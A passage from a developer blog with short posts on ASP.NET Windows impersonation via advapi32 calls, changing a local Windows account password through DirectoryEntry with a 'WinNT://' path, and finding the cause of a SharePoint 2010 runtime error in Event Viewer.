		String lpszPassword,
		int dwLogonType,
		int dwLogonProvider,
		ref IntPtr phToken);

	[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
	public static extern int DuplicateToken(IntPtr hToken,
		int impersonationLevel,
		ref IntPtr hNewToken);

	[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
	public static extern bool RevertToSelf();

	[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
	public static extern bool CloseHandle(IntPtr handle);

	protected void Page_Load(object sender, EventArgs e)
	{
		if (!IsPostBack)
		{
			if (impersonateValidUser("user", "domain/systemname", "password"))
			{
				// your code goes here
				undoImpersonation();
			}
			else
			{
				// fail safe code goes here
			}
		}
	}

	private bool impersonateValidUser(String userName, String domain, String password)
	{
		WindowsIdentity tempWindowsIdentity;
		IntPtr token = IntPtr.Zero;
		IntPtr tokenDuplicate = IntPtr.Zero;

		if (RevertToSelf())
		{
			if (LogonUserA(userName, domain, password, LOGON32_LOGON_INTERACTIVE,
				LOGON32_PROVIDER_DEFAULT, ref token) != 0)
			{
				if (DuplicateToken(token, 2, ref tokenDuplicate) != 0)
				{
					tempWindowsIdentity = new WindowsIdentity(tokenDuplicate);
					impersonationContext = tempWindowsIdentity.Impersonate();
					if (impersonationContext != null)
					{
						CloseHandle(token);
						CloseHandle(tokenDuplicate);
						return true;
					}
				}
			}
		}
		if (token != IntPtr.Zero)
			CloseHandle(token);
		if (tokenDuplicate != IntPtr.Zero)
			CloseHandle(tokenDuplicate);
		return false;
	}

	private void undoImpersonation()
	{
		impersonationContext.Undo();
	}
}

Reference

How to implement impersonation in an ASP.NET application
http://support.microsoft.com/kb/306158#3

Posted in ASP.NET, Programming Language, Secure .NET Coding, Security, Sharepoint Security Tagged with: ,

Using Directory Services for LOCAL SYSTEM

Background

I have been given a task to work with windows users through web, task like change password, etc. I tried searching for articles for the same to finish this asap. But it took more time as all articles were referring to active directory and LDAP queries and I want to make changes to local system.

Problem

When I have started reading article about changing the windows password or any other such operation through ASP.NET, I got all the answers with LDAP query which is very much true for domain environment. But I don’t have one, I have normal local system on which I have to change the password, etc through C# web page.

Solution

Finally I have found some none other then Microsoft links (mentioned in Reference sec.) to tackle this issue. The code was pretty simple, just had to modify the query provided to Directory Services constructor. It was “WinNT://” instead of “LDAP://”.

private bool ResetPassword(string computerName, string username, string newPassword)
{
	bool isSuccess = false;
	try
	{
		DirectoryEntry directoryEntry = new DirectoryEntry(string.Format("WinNT://{0}/{1}", computerName, username));
		directoryEntry.Invoke("ChangePassword", new object[] { oldpassword.Text.ToString(), newpassword.Text.ToString() });
		directoryEntry.CommitChanges();
		isSuccess = true;
	}
	catch (Exception ex) { output.Text = ex.Message.ToString(); }
	return isSuccess;
}

Reference

Using directory services and Visual C#
http://support.microsoft.com/kb/306273

Creating DirectoryEntry Component Instances
http://msdn.microsoft.com/en-us/library/x8wxt72e%28vs.71%29.aspx

LDAP Query Basics
http://technet.microsoft.com/en-us/library/aa996205%28v=exchg.65%29.aspx

Other way to reset user password
http://www.codeproject.com/Articles/18602/Reset-Windows-Administrator-Account-Password-in-C

Posted in ASP.NET, Operating System, Programming Language, Windows 7

Runtime Error SharePoint 2010

Background

The other day I was coding on my SharePoint 2010 project and after completion I have deployed to test the same. Guess what I stuck with this error

“Runtime Error

Now what, debug, troubleshoot, etc. Tried everything but no luck.

Problem

I was using Server Side Model for my code, where I just have to access the site, use web object and enumerate records from specific list. So what was wrong? How do I come to know that there was an issue or which part of code was cause an problem. When I started debugging it didn’t showed any error or exception!!! All I got is this error page.

Runtime Error

Runtime Error

Solution

Now the point is how would you come to know what is the issue. Finally it strikes me that lets give it try for our favorite “Event Viewer”. We have to focus on Application logs which are reported against SharePoint Server/Foundation. Following is the default window that comes when we type “eventvwr” in Run prompt.

Event Viewer

Event Viewer

Which is also showing that there are few new events had occur at top center bar of events list. It means that this is the event viewer details page before we land up with the Runtime Error page. Once we browse that page we will see that we have few new events recorded in windows logs. And that’s it! It will show you the error that has cause this error.

Error Details In Event Viewer

Error Details In Event Viewer

Conclusion

The problem can come from any where, in my case the error was showing that I was trying to use an SPWeb object that has been closed or disposed and is no longer valid. The point here is that we should not only focus on traditional method of troubleshooting, but rather something logical as well.

Posted in Programming Language

Ads

Recent Comments

Analytics